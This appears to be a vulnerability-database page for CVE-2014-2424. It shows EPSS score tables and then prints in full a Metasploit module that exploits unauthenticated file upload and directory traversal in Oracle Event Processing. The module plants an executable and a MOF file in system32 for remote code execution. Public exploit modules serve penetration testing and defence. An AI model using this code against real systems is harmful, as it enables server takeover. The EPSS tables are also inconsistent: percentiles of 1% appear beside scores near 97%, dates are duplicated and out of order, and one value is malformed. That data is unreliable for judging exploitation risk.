CVE-2014-2424 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	76.64%	–	–
2022-10-02	–	–	75.14%	–	–
2023-03-12	–	–	–	97.43%	–
2023-03-26	–	–	–	97.4%	–
2023-05-14	–	–	–	96.82%	–
2023-07-02	–	–	–	97.42%	–
2023-08-20	–	–	–	97.4%	–
2023-10-15	–	–	–	97.41%	–
2023-11-26	–	–	–	97.44%	–
2024-06-02	–	–	–	97.35%	–
2024-06-02	–	–	–	97.35%	–
2024-07-21	–	–	–	97.3%	–
2024-09-08	–	–	–	97.31%	–
2024-11-03	–	–	–	97.29%	–
2024-12-22	–	–	–	97.21%	–
2025-01-05	–	–	–	97.3%	–
2025-03-09	–	–	–	97.26%	–
2025-01-19	–	–	–	97.3%	–
2025-03-09	–	–	–	97.26%	–
2025-03-18	–	–	–	–	80.32%
2025-03-30	–	–	–	–	77.76%
2025-03-30	–	–	–	–	77.76,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-10-02	99%
2023-03-12	1%
2023-03-26	1%
2023-05-14	99%
2023-07-02	1%
2023-08-20	1%
2023-10-15	1%
2023-11-26	1%
2024-06-02	1%
2024-06-02	1%
2024-07-21	1%
2024-09-08	1%
2024-11-03	1%
2024-12-22	1%
2025-01-05	1%
2025-03-09	1%
2025-01-19	1%
2025-03-09	1%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Oracle Event Processing FileUploadServlet Arbitrary File Upload', 'Description' => %q{ This module exploits an Arbitrary File Upload vulnerability in Oracle Event Processing 11.1.1.7.0. The FileUploadServlet component, which requires no authentication, can be abused to upload a malicious file onto an arbitrary location due to a directory traversal flaw, and compromise the server. By default Oracle Event Processing uses a Jetty Application Server without JSP support, which limits the attack to WbemExec. The current WbemExec technique only requires arbitrary write to the file system, but at the moment the module only supports Windows 2003 SP2 or older. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability Discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2014-2424'], ['ZDI', '14-106'], ['BID', '66871'], ['URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2014-1972952.html'] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Payload' => { 'DisableNops' => true, 'Space' => 2048 }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets' => [ ['Oracle Event Processing 11.1.1.7.0 / Windows 2003 SP2 through WMI', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 21 2014')) register_options( [ Opt::RPORT(9002), # By default, uploads are stored in: # C:\Oracle\Middleware\user_projects\domains\<DOMAIN>\defaultserver\upload\ OptInt.new('DEPTH', [true, 'Traversal depth', 7]) ], self.class) end def upload(file_name, contents) post_data = Rex::MIME::Message.new post_data.add_part(rand_text_alpha(4 + rand(4)), nil, nil, "form-data; name=\"Filename\"") post_data.add_part(contents, "application/octet-stream", "binary", "form-data; name=\"uploadfile\"; filename=\"#{file_name}\"") data = post_data.to_s res = send_request_cgi({ 'uri' => '/wlevs/visualizer/upload', 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'data' => data }) res end def traversal "../" * datastore['DEPTH'] end def exploit print_status("#{peer} - Generating payload and mof file...") mof_name = "#{rand_text_alpha(rand(5)+5)}.mof" exe_name = "#{rand_text_alpha(rand(5)+5)}.exe" exe_content = generate_payload_exe mof_content = generate_mof(mof_name, exe_name) print_status("#{peer} - Uploading the exe payload #{exe_name}...") exe_traversal = "#{traversal}WINDOWS/system32/#{exe_name}" res = upload(exe_traversal, exe_content) unless res && res.code == 200 && res.body.blank? print_error("#{peer} - Unexpected answer, trying anyway...") end register_file_for_cleanup(exe_name) print_status("#{peer} - Uploading the MOF file #{mof_name}") mof_traversal = "#{traversal}WINDOWS/system32/wbem/mof/#{mof_name}" upload(mof_traversal, mof_content) register_file_for_cleanup("wbem/mof/good/#{mof_name}") end def check res = send_request_cgi({ 'uri' => '/ohw/help/state', 'method' => 'GET', 'vars_get' => { 'navSetId' => 'cepvi', 'navId' => '0', 'destination' => '' } }) if res && res.code == 200 if res.body.to_s.include?("Oracle Event Processing 11g Release 1 (11.1.1.7.0)") return Exploit::CheckCode::Detected elsif res.body.to_s.include?("Oracle Event Processing 12") return Exploit::CheckCode::Safe end end Exploit::CheckCode::Unknown end end